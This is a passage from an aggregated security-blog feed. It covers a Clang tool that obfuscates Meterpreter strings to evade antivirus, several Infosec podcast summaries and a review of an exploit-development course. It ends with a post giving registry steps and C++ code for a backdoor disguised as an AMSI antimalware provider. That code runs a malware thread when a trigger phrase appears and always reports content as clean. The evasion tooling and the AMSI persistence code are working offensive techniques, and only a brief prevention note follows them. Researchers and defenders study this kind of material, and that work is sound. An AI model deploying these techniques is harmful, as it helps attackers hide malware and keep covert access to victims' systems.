The reason for this is that TEXT is a macro that, when handled by the Clang’s preprocessor, is replaced with L"ntdll". Our transformation pass happens after the preprocessor has done its job, so querying the start and end locations of the token “ntdll” will yield values that are off by a few characters, and are not useful to us. Unfortunately, querying the actual locations in the original translation unit is a kind of black magic with Clang’s API, and the working solution was found with trial-and-error, sorry.

Inserting a variable declaration at the nearest empty location

Now that we are able to replace string literals with variable identifiers, the goal is to define that variable and assign it with the value of the original string. In short, we want the patched source code to contain char your_variable[] = "ntdll", without overwriting anything.

There can be two scenarios:

  • The string literal is located within a function body.
  • The string literal is located outside a function body.

The latter is the most straightforward, since it is only needed to find the start of the expression where the string literal is used.

For the former, we need to find the enclosing function. Then, Clang exposes an API to query the start location of the function body (after the first bracket). This is an ideal place to insert a variable declaration because the variable will be visible in the entire function, and the tokens that we insert will not overwrite stuff.

In any case, both situations are solved by visiting every parent node until a node of type FunctionDecl or VarDecl is found:

MatchHandler::findInjectionSpot(clang::ASTContext *const Context, clang::ast_type_traits::DynTypedNode Parent,
                                const clang::StringLiteral &Literal, bool IsGlobal, uint64_t Iterations) {

    if (Iterations > CLIMB_PARENTS_MAX_ITER)
        throw std::runtime_error("Reached max iterations when trying to find a function declaration");

    ASTContext::DynTypedNodeList parents = Context->getParents(Literal);;

    if (Iterations > 0) {
        parents = Context->getParents(Parent);
    }

    for (const auto &parent : parents) {

        StringRef ParentNodeKind = parent.getNodeKind().asStringRef();

        if (ParentNodeKind.find("FunctionDecl") != std::string::npos) {
            auto FunDecl = parent.get<clang::FunctionDecl>();
            auto *Statement = FunDecl->getBody();
            auto *FirstChild = *Statement->child_begin();
            return {FirstChild->getBeginLoc(), FunDecl->getEndLoc()};

        } else if (ParentNodeKind.find("VarDecl") != std::string::npos) {

            if (IsGlobal) {
                return parent.get<clang::VarDecl>()->getSourceRange();
            }
        }

        return findInjectionSpot(Context, parent, Literal, IsGlobal, ++Iterations);
    }
}

Test

git clone https://github.com/SCRT/avcleaner
mkdir avcleaner/CMakeBuild && cd avcleaner/CMakeBuild
cmake ..
make
cd ..
bash run_example.sh test/string_simplest.c

As you can see, this works pretty well. Now, this example was simple enough that it could have been solved with regexes and way fewer lines of codes. However, even though we are delighted to count the king of regexes (
@1mm0rt411 himself) among our ranks, it would have been unfair to challenge him with a task as pesky as string obfuscation in Meterpreter.

Going further

For now, strings are not actually encrypted, in spite of the obfuscation pass being named “StringEncryptor”. How much effort is really needed to actually encrypt the strings? Spoiler: a few more hours, but it is a tradition to leave some exercices for the reader 😉

In addition, @TheColonial recently (April 2020) updated Meterpreter so that it can be compiled with more recent versions of Visual Studio. It means that it should be possible to move on from the C89 standard and handle more corner cases, such as obfuscating the first argument to format string functions.

To be continued…

As this post is already kind of lengthy, it was decided to split it into several parts. In fact, obfuscating strings was the easy part implementation-wise, although you need to be extremely familiar with Clang‘s API. Its documentation being the source code, we recommend allocating a week or two to ingest it as a whole 😛 (and then don’t hesitate to reach out to a specialist for mental health recovery).

The next blog post will be about hiding API Imports automatically.

References

Vladimir Meier

Offensive or defensive security: Which career is for you? | Guest Fabien Dombard

By: Infosec
22 June 2020 at 07:00

When it comes to your career, should you go red team, blue team or both? Today's guest is QuoLab Technologies Co-Founder Fabien Dombard, who's had roles ranging from penetration tester to malware incident responder to company founder. Fabien shares share thoughts on the skills, disposition and training needed in both defensive and offensive security roles, as well as tips on why you shouldn't be "networking," you should be "making new friends for the future."

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

With over a decade of experience working in several diverse positions, as well as experiencing firsthand the evolution of security practices and technologies found around the world today, Fabien Dombard has been an integral part in building his new company, QuoLab Technologies, a developer of a collaborative and threat-driven Security Operations Platform (SOP). Prior to QuoLab, Fabien began working in small shop penetration testing roles in several European nations, and his renowned expertise and work ethic eventually led to him heading the Malware Incident Response Team for Deutsche Bank — one of the largest financial institutions in the world. He then founded QuoScient, located in Frankfurt, Germany, with the aim to reconcile humans and machines in the context of security operations, incident response and threat intelligence, and it is actually where QuoLab spun out from. Fabien is committed in his professional endeavors to reconcile human creativity and intuition with the complexity of information technology in the context of security operations. It was precisely this passion that drew him to conceptualize QuoLab and is what brings focus to him and his team moving forward.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

My Journey into eCXD – eLearnSecurity Certified eXploit Developer

25 June 2020 at 12:10

Exploit Developer Student – XDS Course Review

I first want to thank eLearnSecurity for creating such a course on this topic of exploit development. I have always been a big fan of the Windows operating system. For the past few years, I have spent a lot of time on Windows reverse engineering, Windows internals and exploit development on Windows. However, the thing I liked the most about this course is about the diversity they have with both Windows and Linux both x86 and x86_64. I spent quite a good amount of time on learning Linux exploit development and internals and I totally loved to understand those concepts no matter how hard they were to grasp. It is a feeling I cannot explain ?

I will share my thoughts on each section.

Linux Exploit Development

Module 1: Linux Stack Smashing

As usual, this is the introductory module where you will get a nice understanding of Linux internals and basics of stack-based buffer overflows and identifying them.

The labs included for this module are:

  • Hidden Function
  • Linux Basic Stack Overflow
  • Linux x64 Basic Stack Overflow

Module 2: Linux Exploit Countermeasures & Bypasses

This section was an intense module on bypassing Linux exploitation mitigation techniques. The following were covered in-depth with examples. I believe this was the largest module in this section. I’ve learned a lot of internals, theory and new things in this module in the world of *nix.

  • NX
  • ASLR
  • Stack Cookies
  • RELRO
  • PIE
  • RPATH

Module 3: Linux Return Oriented Programming

This module explains the concepts of Return Oriented Programming (ROP) and how to utilize this technique to bypass anti-exploit mechanisms. I would recommend to first study Module 2 related to anti-exploit mechanisms and then move on to this module and do the labs. As you need theory from both of these modules for the labs.

The labs included for these 2 modules are:

  • Linux NX Bypass (ret2libc)
  • Overcome ret2libc Limitations
  • Linux x64 ASLR Bypass
  • Linux x64 Stack Canary, NX & ASLR Bypass
  • Linux x64 NX Bypass (ret2libc + ROP)

Module 4: Linux Shellcoding

This module explains about developing Linux shellcode and concepts such as Egghunters to detect the shellcode in memory when there’s lack of space in the stack. A full walkthrough of 32-bit reverse TCP shellcode is explained with socket internals. Furthermore, developing 64-bit shellcode on Linux is explained.

The lab included for this module is:

  • Linux Shellcoding

Module 5: Linux Advanced Exploitation

To come to this module, make sure you study all the previous module well. This module explains in-depth about exploiting format string vulnerabilities and how it could be abused to bypassing anti-exploit mechanisms. Also covers bypassing hardened systems. This module has some intense labs and it was very challenging to understand the exploitation process. I loved this module a lot as these types of vulnerabilities can be abused to bypass modern anti-exploit mechanisms and are still being reported in the real world in commercial applications.

  • Linux NX & ASLR Bypass (Format String Exploitation + ROP)
  • Strict Firewall Bypass (Format String Exploitation + Socket Reuse Shellcode)

Windows Exploit Development

Module 1: Windows Stack Smashing

This module explains the basics of exploiting stack-based buffer overflows in Windows systems. You will learn different tools to automated certain tasks and internals.

The labs included for this module are:

  • Windows Basic Stack Overflow

Module 2: Windows SEH-based Overflows

This module explains about abusing software which utilized the Structured Exception Handling mechanism under Windows systems. The labs will provide you more understanding practically how it works under a debugger.

The labs included for this module are:

  • Windows SEH Overflow (MP3 Studio)
  • Windows SEH Overflow (EasyChat)

Module 4: Unicode Buffer Overflows

This module explains the process of creating venetian shellcode and utilizing it in Unicode Buffer Overflow exploits. This technique is useful if the application changes user input in case of translation.

Module 5: Windows Shellcoding

This module explains the art of shellcoding in Windows. It also goes in-depth on developing position independent shellcode on Windows. This module also includes a socket reuse shellcode and about backdooring PE files

The labs included for this module are:

  • Windows Shellcoding

Module 6: Windows Return Oriented Programming

This module explains the Return Oriented Programming (ROP) theory on Windows. This module was also intense as it dives deep into manual ROP chaining. I really loved this module as I learned a lot about developing my own manual ROP chains.

The labs included for this module are:

  • Windows ROP (Scenario 1)
  • Windows ROP (Scenario 2)

Fuzzing Windows Software

This was another lab exercise on explaining the usage of the SPIKE fuzzer.

The Exam

The exam was challenging. It was of 3 days and another 2 days were provided for the report. Since there were 3 days I did not have that much stress. There were 5 challenges in total for both Windows and Linux environments x86 and x86_64. There are no multiple-choice questions and it’s a full practical exam. You are supposed to develop a proof-of-concept for each challenge and document down your process, tools used, etc. Everything is well taught in the course and if you study the materials and do the labs your passing chances are high.

The following knowledge domains will be assessed in the exam.

  • Windows and Linux internals
  • Reverse engineering (x86 and x64 platforms)
  • Software debugging
  • Shellcoding
  • Windows and Linux exploit development (including scripting knowledge)
  • Bypassing modern anti-exploit mechanisms (ASLR/PIE, Stack Cookie, NX/DEP, RELRO etc.)
  • Exploiting hardened hosts and overcoming limitations

A huge thanks to ?ukasz Miku?a for creating this course and for assessing my exam report. Special thanks to Dimitrios Bougioukas from eLearnSecurity 🙂

More information about the XDS Course: https://www.elearnsecurity.com/course/exploit_development_student/

Cyber threat intelligence: Learn to become a cybersecurity tactician | Guest Charles DeBeck

By: Infosec
29 June 2020 at 07:00

Take a deep dive into the world of cyber threat intelligence with today's guest, Charles DeBeck of IBM’s X-Force Incident Response and Intelligence Services. Threat intelligence is all about research and storytelling, combining hands-on know-how with analytical thinking skills to make a true cybersecurity tactician! You’re not just preparing for the battle in front of you, but for the waves of attacks you’ll see in the future. 

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Charles DeBeck is a Strategic Cyber Threat Expert for IBM’s X-Force Incident Response and Intelligence Services. He’s had a connected passel of job titles that encompasses risk management, risk analysis and vulnerability assessment, all of which have helped him in his current position.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Preparing the next generation of cybersecurity professionals | Guest Victor “Vic” Malloy

By: Infosec
6 July 2020 at 07:00

Students high school age and younger are getting fast-tracked into cybersecurity. Some are even learning concepts like packet tracing at just six years old, says Victor “Vic” Malloy, an Independent Consultant working with the CyberTexas Foundation as their General Manager. On today's episode, Vic shares his wealth of engaging stories about inspiring young people through the CyberTexas Foundation, getting people of all ages interested in cybersecurity and developing the next generation of the workforce.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Vic earned a bachelor’s degree from the University of North Texas and a master’s degree from Webster University. He had multiple assignments over 13 years working in cyberspace security at multiple network operations and security centers in the U.S. Air Force. His last position in the Air Force was overseeing daily cyber operations tasked missions within the AF Cyberspace Operations Center, which was responsible for the cyber defense of all Air Force global networks and the global employment of cyberspace capabilities to support ongoing combat operations. Previously, he served as Chief Information Officer for National Security Agency/Central Security Service in Texas. 

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Antimalware Scan Interface Provider for Persistence

11 July 2020 at 00:00

This blog post explains how you can execute arbitrary code and maintain access to a Microsoft Windows system by leveraging AMSI provider.

AMSI

Windows Antimalware Scan Interface (AMSI) is an interface standard that allows applications and services to integrate with any antimalware product installed on the system. For example, if an AV vendor wants to intercept the powershell commands after they have been decoded they must have their scan engine interfaced with AMSI. The same for Assembly.Load.

AMSI is integrated into the following components of Windows 10.

  • User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
  • PowerShell (scripts, interactive use, and dynamic code evaluation)
  • Windows Script Host (wscript.exe and cscript.exe)
  • JavaScript and VBScript
  • Office VBA macros

AMSI Provider

AMSI Provider is the component responsible for the scan by the Antimaware product. This component must implement the IAntimalwareProvider interface which has the following methods

Method Description
IAntimalwareProvider::CloseSession Closes the session
IAntimalwareProvider::DisplayName The name of the antimalware provider to be displayed
IAntimalwareProvider::Scan Scan a stream of content

To function as an AMSI provider, the component (DLL) must be registered as an in-process COM server. The registration process can be done in two ways:

  1. Implementing the DllRegisterServer method into the DLL and register it with the regsvr32 command

  2. Manual setting of the following registry keys

    1. HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\GUID (Default) REG_SZ “Provider description”
    2. HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\GUID\InprocServer32 (Default) REG_EXPAND_SZ “Path to Dll” - ThreadingModel REG_SZ “Both”
    3. HKLM\SOFTWARE\Microsoft\AMSI\Providers\ "GUID"

Administrator privileges are required to register a provider. Once registered, the Dll will be loaded into any process involving AMSI (powershell, clr, etc.) and the Scan method

HRESULT Scan(_In_ IAmsiStream* stream, _Out_ AMSI_RESULT* result)

will be invoked when a content is scanned

Using AMSI Provider for Persistence

So if we can provide a malicious DLL and register it as a provider, we can make a persistence that triggers a “scan request” for antimalware :). In addition, from the Scan method passes the content to be analyzed so in the case of powershell we will have the possibility to analyze the commands sent and then trigger the execution of the malware only in the case of specific words

An example of the implementation of the Scan method

HRESULT SampleAmsiProvider::Scan(_In_ IAmsiStream* stream, _Out_ AMSI_RESULT* result)
{
	_RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");
	_RtlEqualUnicodeString RtlEqualUnicodeString = (_RtlEqualUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEqualUnicodeString");

	UNICODE_STRING myTriggerString1;
	RtlInitUnicodeString(&myTriggerString1, L"Run my malware");

	UNICODE_STRING myTriggerString2;
	RtlInitUnicodeString(&myTriggerString2, L"\"Run my malware\"");

	UNICODE_STRING myTriggerString3;
	RtlInitUnicodeString(&myTriggerString3, L"'Run my malware'");

	ULONG actualSize;
	ULONGLONG contentSize;
	if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_SIZE, sizeof(ULONGLONG), reinterpret_cast<PBYTE>(&contentSize), &actualSize)) &&
		actualSize == sizeof(ULONGLONG))
	{
		*result = AMSI_RESULT_NOT_DETECTED;

		return S_OK;
	}

	PBYTE contentAddress;
	if (!SUCCEEDED(stream->GetAttribute(AMSI_ATTRIBUTE_CONTENT_ADDRESS, sizeof(PBYTE), reinterpret_cast<PBYTE>(&contentAddress), &actualSize)) &&
		actualSize == sizeof(PBYTE))
	{
		*result = AMSI_RESULT_NOT_DETECTED;

		return S_OK;
	}


	if (contentAddress)
	{
		if (contentSize < 50)
		{
			UNICODE_STRING myuni;
			myuni.Buffer = (PWSTR)contentAddress;
			myuni.Length = (USHORT)contentSize;
			myuni.MaximumLength = (USHORT)contentSize;

			if (RtlEqualUnicodeString(&myTriggerString1, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString2, &myuni, TRUE) || RtlEqualUnicodeString(&myTriggerString3, &myuni, TRUE))
			{

				DWORD thId;
				CreateThread(NULL, 0, MyThreadFunction, NULL, 0, &thId);
			}
		}
	}

	*result = AMSI_RESULT_NOT_DETECTED;

	return S_OK;
}

AmsiProvider.cpp · GitHub

Prevention

Starting with the Windows 10 1903 release, Microsoft introduced a way to enable Authenticode + Windows Hardware Quality Labs (WHQL) signature checks for providers. But this feature is not enabled by default. To enable Authenticode + Windows Hardware Quality Labs (WHQL) signature checks, set the key

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AMSI\FeatureBits

to 0x2 (DWORD) .

❌
❌